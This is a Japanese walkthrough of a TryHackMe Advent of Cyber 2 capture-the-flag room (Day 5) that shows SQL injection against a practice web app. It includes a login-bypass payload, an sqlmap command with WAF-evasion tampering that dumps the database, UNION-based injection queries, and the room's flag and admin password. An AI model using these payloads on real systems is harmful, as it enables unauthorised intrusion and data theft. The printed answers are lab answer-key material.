[TryHackMe] Advent of Cyber 2, Day 5 - Walkthrough -


本稿では、TryHackMeにて提供されている「Advent of Cyber 2」ルームに関する攻略方法(Walkthrough)について検証します。
「Advent of Cyber 2」は「free room」(無料)で提供されています。購読を必要とせずに仮想マシンを「展開(Deploy)」することができます。

『Advent of Cyber 2』のWalkthroughインデックスを「[TryHackMe] Advent of Cyber 2に参加してみた」にて公開しました。

[Day 5] Web Exploitation: Someone stole Santa's gift list!

ストーリー

昨年の攻撃後、サンタさんとセキュリティチームはサンタさんの個人ポータルの復活に懸命に取り組んできました。その結果、「サンタのフォーラム2」が公開されました。

攻撃の後、誰かがウェブサイト上のサンタのパネルを見つけ、彼のアカウントにログインしたことがログから明らかになりました。 ログイン後、ギフトリストのデータベース全体をダンプして、2020年のギフトをすべて手に入れることができました。攻撃者は、すべての情報を含むwishlist.txtファイルを公開すると脅してきましたが、幸いなことに、その前に CBI(Christmas Bureau of Investigation) に捕まっていました。MACHINE_IP:8000では、ウェブサイトの複製が用意されています。あなたの目標は、ギフトのリストをダンプし、攻撃者の行動を再現することですよ!

チャレンジ

Firefoxで脆弱なアプリケーションにアクセスし、サンタの秘密のログインパネルを見つけて、ログインをバイパスしてください。今日の課題で取り上げたコマンドやツールをいくつか使って、問題#3から#6に答えてください。

サンタさんがアプリケーションをセットアップするときに書いたドキュメントを読みます。

Santa's TODO: sqliteよりも優れた代替データベースシステムを見てください。また、昨年の攻撃の後に Web Application Firewall(WAF) をインストールしたことも忘れないでください。コマンドを忘れてしまった場合に備えて、--tamper=space2comment オプションを指定して SQLMapWAF を回避するように指示することができます。

Day 5 - #1.

Without using directory brute forcing, what's Santa's secret login panel?

まずは、Santa's Official Forumへアクセスします。[Deploy]ボタンをクリックします。
ブラウザにて割り振られたMACHINE_IP:8000にアクセスします。Santa's Official Forumの画面が表示されます。

出題には「ブルートフォース攻撃を使わずに」とあります。さっぱりわかりません。
[Hint]を参照しました。

なるほど。「s**ta」と「p***l」からなる2つの単語にて構成されているようです。

Day 5 - #2.

Visit Santa's secret login panel and bypass the login using SQLi

Username' OR 1=1--を指定してみましょう。

あっさりとパスワード認証をバイパスすることに成功しました。

Day 5 - #3.

How many entries are there in the gift database?

Santa's admin panelEnterフォームに任意の文字列を入力し、[Search]ボタンをクリックします。
このときのリクエストをBurp Suiteで記録します。

[Proxy]タブにて右クリックメニューを表示し[Send to Repeater]を選択します。

[Repeater]タブにて右クリックメニューを表示し[Save item]を選択します。このときファイル名はget_requestを指定しています。

sqlmapコマンドを使ってデータベースにアクセスします。[チャレンジ]項目に記載のサンタさんがアプリケーションをセットアップするときに書いたドキュメントを読み返してください。
コマンド構文は次のとおりです。

kali@kali:~$ sqlmap -r get_request --tamper=space2comment --dump-all --dbms sqlite

Day 5 - #4.

What did Paul ask for?

sequelsテーブルを参照すれば解答が得られます。

Database: SQLite_masterdb
Table: sequels
[22 entries]
+-------------+-----+----------------------------+
| kid         | age | title                      |
+-------------+-----+----------------------------+
| James       | 8   | shoes                      |
| John        | 4   | skateboard                 |
| Robert      | 17  | iphone                     |
| Michael     | 5   | playstation                |
| William     | 6   | xbox                       |
| David       | 6   | candy                      |
| Richard     | 9   | books                      |
| Joseph      | 7   | socks                      |
| Thomas      | 10  | 10 McDonalds meals         |
| Charles     | 3   | toy car                    |
| Christopher | 8   | air hockey table           |
| Daniel      | 12  | lego star wars             |
| Matthew     | 15  | bike                       |
| Anthony     | 3   | table tennis               |
| Donald      | 4   | fazer chocolate            |
| Mark        | 17  | wii                        |
| Paul        | 9   | github ownership           |
| James       | 8   | finnish-english dictionary |
| Steven      | 11  | laptop                     |
| Andrew      | 16  | rasberry pie               |
| Kenneth     | 19  | TryHackMe Sub              |
| Joshua      | 12  | chair                      |
+-------------+-----+----------------------------+

Day 5 - #5.

What is the flag?

hidden_tableテーブルを参照すれば解答が得られます。

Database: SQLite_masterdb
Table: hidden_table
[1 entry]
+-----------------------------------------+
| flag                                    |
+-----------------------------------------+
| thmfox{All_BLOCKED_You}                 |              
+-----------------------------------------+

Day 5 - #6.

What is admin's password?

usersテーブルを参照すれば解答が得られます。

Database: SQLite_masterdb
Table: users
[1 entry]
+------------------+----------+
| password         | username |
+------------------+----------+
| EhCNSWzzFP6sc7gB | admin    |
+------------------+----------+

これにてフラグの取得に成功しました。

5日目のミッションが終了です。

別解:ハンドクラフトなSQLi

ここではsqlmapコマンドを使わずに解答する方法について検討します。

SQLiの可能性

Santa's admin panelEnterフォームに'記号を入力し、[Search]ボタンをクリックします。

結果、次のエラーが表示されます。

unrecognized token: "'"

さらに、データとして''記号を入力し、[Search]ボタンをクリックします。このとき、エラーは回避されました。

単一のシングルクォーテーション'を指定した場合、SQL構文のエラーを示すメッセージが返答されました。さらに、2つのシングルクォーテーション''を指定した場合、エラーが回避されました。
一連の反応からSanta's admin panelはSQLインジェクション攻撃に対して脆弱である可能性を推定することができました。

列数の探索

エラーが発生するまでORDER BYクエリを挿入します。3を指定したときにエラーが返答されました。結果、Santa's admin panelは2列であることが特定できました。

テーブルの列挙

次のクエリを使ってテーブルを列挙します。

' UNION SELECT 1, tbl_name FROM sqlite_master--

列の列挙

次のクエリを使って列を列挙します。

' UNION SELECT 1, sql FROM sqlite_master--

参考になるTryHackMeのルーム

参考情報

Walkthrough